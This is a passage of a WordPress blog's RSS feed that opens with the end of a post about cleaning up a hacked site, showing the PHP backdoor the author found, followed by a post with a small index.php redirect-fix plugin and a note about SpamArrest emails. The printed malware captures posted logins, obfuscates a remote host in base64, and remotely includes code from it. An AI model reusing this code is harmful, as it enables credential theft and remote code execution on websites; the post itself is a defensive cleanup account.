function stream_open($path, $mode, $options, $opened_path) {$this-&gt;fullurl = $path;$this-&gt;options = $options;$this-&gt;defmode = $mode;$url = parse_url($path);if (empty($url['host'])) {return $this-&gt;error('missing host name');}$this-&gt;conn_id = fsockopen($url['host'], (empty($url['port']) ? 80 : intval($url['port'])), $errno, $errstr, 2);if (!$this-&gt;conn_id) {return false;} if (empty($url['path'])) {$url['path'] = '/';}$this-&gt;p_url = $url;$this-&gt;flushed = false;if ($mode[0] != 'r' || (strpos($mode, '+') !== false)) {$this-&gt;mode += 2;}$this-&gt;binary = (strpos($mode, 'b') !== false);$c = $this-&gt;context();if (!isset($c['method'])) {stream_context_set_option($this-&gt;context, 'http', 'method', 'GET');}if (!isset($c['header'])) {stream_context_set_option($this-&gt;context, 'http', 'header', '');}if (!isset($c['user_agent'])) {stream_context_set_option($this-&gt;context, 'http', 'user_agent', ini_get('user_agent'));}if (!isset($c['content'])) {stream_context_set_option($this-&gt;context, 'http', 'content', '');}if (!isset($c['max_redirects'])) {stream_context_set_option($this-&gt;context, 'http', 'max_redirects', 5);}return true;}
function stream_close() { if ($this-&gt;conn_id) { fclose($this-&gt;conn_id);$this-&gt;conn_id = null;} }
function stream_read($bytes) { if (!$this-&gt;conn_id) { return $this-&gt;error();} if (!$this-&gt;flushed &amp;&amp; !$this-&gt;stream_flush()) { return false;} if (feof($this-&gt;conn_id)) { return '';} $bytes = max(1,$bytes);if ($this-&gt;binary) { return fread($this-&gt;conn_id, $bytes);} else { return fgets($this-&gt;conn_id, $bytes);} }
function stream_write($data) { if (!$this-&gt;conn_id) { return $this-&gt;error();} if (!$this-&gt;mode &amp; 2) { return $this-&gt;error('Stream is in read-only mode');} $c = $this-&gt;context();stream_context_set_option($this-&gt;context, 'http', 'method', (($this-&gt;defmode[0] == 'x') ? 'PUT' : 'POST'));if (stream_context_set_option($this-&gt;context, 'http', 'content', $c['content'].$data)) { return strlen($data);} return 0;}
function stream_eof() { if (!$this-&gt;conn_id) { return true;} if (!$this-&gt;flushed) { return false;} return feof($this-&gt;conn_id);}
function stream_seek($offset, $whence) { return false;}
function stream_tell() { return 0;}
function stream_flush() { if ($this-&gt;flushed) { return false;} if (!$this-&gt;conn_id) { return $this-&gt;error();} $c = $this-&gt;context();$this-&gt;flushed = true;$RequestHeaders = array($c['method'].' '.$this-&gt;p_url['path'].(empty($this-&gt;p_url['query']) ? '' : '?'.$this-&gt;p_url['query']).' HTTP/1.0', 'HOST: '.$this-&gt;p_url['host'], 'User-Agent: '.$c['user_agent'].' StreamReader' );if (!empty($c['header'])) { $RequestHeaders[] = $c['header'];} if (!empty($c['content'])) { if ($c['method'] == 'PUT') { $RequestHeaders[] = 'Content-Type: '.($this-&gt;binary ? 'application/octet-stream' : 'text/plain');} else { $RequestHeaders[] = 'Content-Type: application/x-www-form-urlencoded';} $RequestHeaders[] = 'Content-Length: '.strlen($c['content']);} $RequestHeaders[] = 'Connection: close';if (fwrite($this-&gt;conn_id, implode(&quot;\r\n&quot;, $RequestHeaders).&quot;\r\n\r\n&quot;) === false) { return false;} if (!empty($c['content']) &amp;&amp; fwrite($this-&gt;conn_id, $c['content']) === false) { return false;} global $http_response_header;$http_response_header = fgets($this-&gt;conn_id, 300);$data = rtrim($http_response_header);preg_match('#.* ([0-9]+) (.*)#i', $data, $head);if (($head[1] &gt;= 301 &amp;&amp; $head[1] &lt;= 303) || $head[1] == 307) { $data = rtrim(fgets($this-&gt;conn_id, 300));while (!empty($data)) { if (strpos($data, 'Location: ') !== false) { $new_location = trim(str_replace('Location: ', '', $data));break;} $data = rtrim(fgets($this-&gt;conn_id, 300));} trigger_error($this-&gt;fullurl.' '.$head[2].': '.$new_location, E_USER_NOTICE);$this-&gt;stream_close();return ($c['max_redirects'] &gt; $this-&gt;redirects++ &amp;&amp; $this-&gt;stream_open($new_location, $this-&gt;defmode, $this-&gt;options, null) &amp;&amp; $this-&gt;stream_flush());} $data = rtrim(fgets($this-&gt;conn_id, 1024));while (!empty($data)) { $http_response_header .= $data.&quot;\r\n&quot;;if (strpos($data,'Content-Length: ') !== false) { $this-&gt;stat['size'] = trim(str_replace('Content-Length: ', '', $data));} elseif (strpos($data,'Date: ') !== false) { $this-&gt;stat['atime'] = strtotime(str_replace('Date: ', '', $data));} elseif (strpos($data,'Last-Modified: ') !== false) { $this-&gt;stat['mtime'] = strtotime(str_replace('Last-Modified: ', '', $data));} $data = rtrim(fgets($this-&gt;conn_id, 1024));} if ($head[1] &gt;= 400) { trigger_error($this-&gt;fullurl.' '.$head[2], E_USER_WARNING);return false;} if ($head[1] == 304) { trigger_error($this-&gt;fullurl.' '.$head[2], E_USER_NOTICE);return false;} return true;}
function stream_stat() { $this-&gt;stream_flush();return $this-&gt;stat;}
function dir_opendir($path, $options) { return false;}
function dir_readdir() { return '';}
function dir_rewinddir() { return '';}
function dir_closedir() { return;}
function url_stat($path, $flags) { return array();}
function context() { if (!$this-&gt;context) { $this-&gt;context = stream_context_create();} $c = stream_context_get_options($this-&gt;context);return (isset($c['http']) ? $c['http'] : array());}}
if(isset($_POST[&quot;l&quot;]) and isset($_POST[&quot;p&quot;])){if(isset($_POST[&quot;input&quot;])){$user_auth=&quot;&amp;l=&quot;.base64_encode($_POST[&quot;l&quot;]).&quot;&amp;p=&quot;.base64_encode(md5($_POST[&quot;p&quot;]));} else {$user_auth=&quot;&amp;l=&quot;.$_POST[&quot;l&quot;].&quot;&amp;p=&quot;.$_POST[&quot;p&quot;];}} else {$user_auth=&quot;&quot;;}if(!isset($_POST[&quot;log_flg&quot;])){$log_flg=&quot;&amp;log&quot;;}$rkht=1;if(version_compare(PHP_VERSION,'5.2','&gt;=')){if(ini_get('allow_url_include')){$rkht=1;}else{$rkht=0;}}if($rkht==1){if(ini_get('allow_url_fopen')){$rkht=1;}else{$rkht=0;}}$v=$p.base64_decode(&quot;LnVzZXJzLmJpc2hlbGwucnU=&quot;).&quot;/?r_addr=&quot;.sprintf(&quot;%u&quot;, ip2long(getenv(&quot;REMOTE_ADDR&quot;))).&quot;&amp;url=&quot;.base64_encode($_SERVER[&quot;SERVER_NAME&quot;].$_SERVER[&quot;REQUEST_URI&quot;]).$user_auth.$log_flg;if($rkht==1){if(!@include_once(base64_decode(&quot;aHR0cDovLw==&quot;).$v)){}}else{stream_wrapper_register('http2','newhttp');if(!@include_once(base64_decode(&quot;aHR0cDI6Ly8=&quot;).$v)){}}
?&gt;
</pre>
<p>Anyway, that&#8217;s what I found, that&#8217;s what I had to clean up. <strong>Six and a half hours</strong> to go through all of the files looking for this thing, cleaning up as I went.</p>
<p>UPDATE:</p>
<p>Since writing this post, I&#8217;ve completed 4 more site cleanups &#8212; each averaging over 4 hours. Gets rather expensive, guys and girls.</p>
<p>Please keep your WordPress installs up to date. That&#8217;s the most efficient way to guard against this kind of maliciousness.</p>
]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/278/cleaning-up-the-aftermath-of-a-hacker-attack/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Loading WordPress From index.php</title>
		<link>http://ilikewordpress.com/274/loading-wordpress-from-index-php/</link>
		<comments>http://ilikewordpress.com/274/loading-wordpress-from-index-php/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 16:31:13 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[PHP goodies]]></category>
		<category><![CDATA[Troubleshooting WordPress issues]]></category>
		<category><![CDATA[WordPress plugins]]></category>
		<category><![CDATA[duplicate content]]></category>
		<category><![CDATA[index files]]></category>
		<category><![CDATA[url rewriting]]></category>
		<category><![CDATA[wordpress redirect]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=274</guid>
		<description><![CDATA[One of WordPress&#8217; strengths is its attention to SEO-related issues in its core files. One of those issues is the problem of having the home page of the blog indexed twice in the search engines; once under the actual address, http://domain-name.com/index.php, and the other as the plain domain name: http://domain-name.com. Note that this is a [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>One of WordPress&#8217; strengths is its attention to SEO-related issues in its core files. One of those issues is the problem of having the home page of the blog indexed twice in the search engines; once under the actual address, <strong><span style="color: #e7847e;">http://domain-name.com/index.php</span></strong>, and the other as the plain domain name: <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>. Note that this is a different problem than the trailing slash problem ( <strong><span style="color: #e7847e;">http://domain-name.com/</span></strong> vs. <strong><span style="color: #e7847e;">http://domain-name.com</span></strong> ) which WordPress also takes care of.</p>
<p>WordPress handles the index.php problem by rewriting requests for <strong><span style="color: #e7847e;">http://domain-name.com/index.php</span></strong> to <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>. All well and good, and beneficial for most sites.</p>
<p>But that rewriting/redirecting caused some problems on a site I was working on yesterday, and once I figured out how, it was a relatively easy fix.<span id="more-274"></span></p>
<p>Here&#8217;s what happened: a client had me upgrade an old installation of SemioLogic&#8217;s version of WordPress to genuine WordPress. While it can be time-consuming, switching over is a fairly straightforward process most of the time. The challenge here was that while most of the site is normal .html files, WordPress is installed at the root level, and is not actually serving the &#8216;home&#8217; page of the site.</p>
<p>So you can maybe see where this is headed: the &#8216;home&#8217; page of the site is index.html. That&#8217;s what comes up when you ask for <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>. The server is set to look for index.html <strong>first</strong>, then index.php if index.html isn&#8217;t there. So to get to the blog, you had to ask for <strong><span style="color: #e7847e;">http://domain-name.com/index.php</span></strong>.</p>
<p>But when you asked for index.php, WordPress, being the dutiful SEO-friendly software that it is, stripped off &#8220;index.php&#8221; from the request, and redirected to <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>.</p>
<p>The server saw the request for the site index file and promptly served up index.html. So you couldn&#8217;t get to the home page of the blog. If you had a specific post URL and typed it in, it worked fine.</p>
<p>Easy fix, says I. Settings -&gt; General, change the WordPress url to <strong><span style="color: #e7847e;">http://domain-name.com/index.php</span></strong> from <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>.</p>
<p>Oops. Now all the permalinks have &#8216;index.php/&#8217; prepended: <strong><span style="color: #e7847e;">http://domain-name.com/index.php/i-want-this-post</span></strong>. Not good, and not intended, especially as the site has been indexed in Google without the index.php in there.</p>
<p>I never did figure out how SemioLogic handled this; obviously it was working before the changeover. Undoubtedly there was an easy setting that disappeared once the SL files were gone. I can only think this issue had come up before and the author of SL provided a workaround.</p>
<p>Thankfully, the coders of WordPress also recognized that there may be a time when rewriting URLs wasn&#8217;t good so they provided a filter to disable or alter the rewrite. Once I found that notation in includes/canonical.php, the fix was a breeze. Write a plugin that disables the redirect to / when /index.php is called for. Here is the entire plugin:</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
/*
Plugin Name: Index.php fix
Plugin URI: http://ilikewordpress.com/loading-wordpress-from-index-php
Description: This plugin allows a blog installed at root to be addressed by /index.php. Remedies stripping of filename by includes/canonical.php
Author: Steve Johnson
Version: 1.0
Author URI: http://ilikewordpress.com/
*/

/*
*    Applies filter to redirect_canonical to defeat
*    stripping of index.php file
*/

function fix_index( $requested_url ) {
 if ( get_bloginfo( 'url' ) == $requested_url )
 return false;
}
add_filter( 'redirect_canonical', 'fix_index' );

?&gt;
</pre>
<p>And that&#8217;s all there is to it. Now when a browser asks for &#8216;index.php&#8217;, that&#8217;s what it gets instead of a redirection to /.</p>
<p>You could also put this in the functions.php file of a theme, but obviously it wouldn&#8217;t work if the theme were changed.</p>
]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/274/loading-wordpress-from-index-php/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Don&#8217;t Subscribe To My Post Comments If You&#8217;re a SpamArrest Customer</title>
		<link>http://ilikewordpress.com/268/dont-subscribe-to-my-post-comments-if-youre-a-spamarrest-customer/</link>
		<comments>http://ilikewordpress.com/268/dont-subscribe-to-my-post-comments-if-youre-a-spamarrest-customer/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 22:03:13 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=268</guid>
		<description><![CDATA[On this and other blogs, I have a recurring pain in the butt issue. Some people subscribe to a comment thread, and upon every comment following, I get a challenge email from SpamArrest when the notification of a new comment email is sent. Here&#8217;s news: I don&#8217;t click the verify link. As a matter of [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>On this and other blogs, I have a recurring pain in the butt issue. Some people subscribe to a comment thread, and upon every comment following, I get a challenge email from SpamArrest when the notification of a new comment email is sent.</p>
<p>Here&#8217;s news: <strong>I don&#8217;t click the verify link.</strong> As a matter of fact, I don&#8217;t even <strong><em>GET </em></strong>the verify link. All of those verification emails go straight to my trash can. I realize this might not be very reader-friendly, but I simply don&#8217;t have time to open up every email and click those stupid links, even if I were inclined to.</p>
<p>So please &#8211; if you&#8217;re a spamarrest customer and you want to subscribe to a comment thread, put ilikewordpress.com on whatever kind of whitelist they have so you can get the subscription notifications. Otherwise, you won&#8217;t get any notices from this site about updated comments.</p>
]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/268/dont-subscribe-to-my-post-comments-if-youre-a-spamarrest-customer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

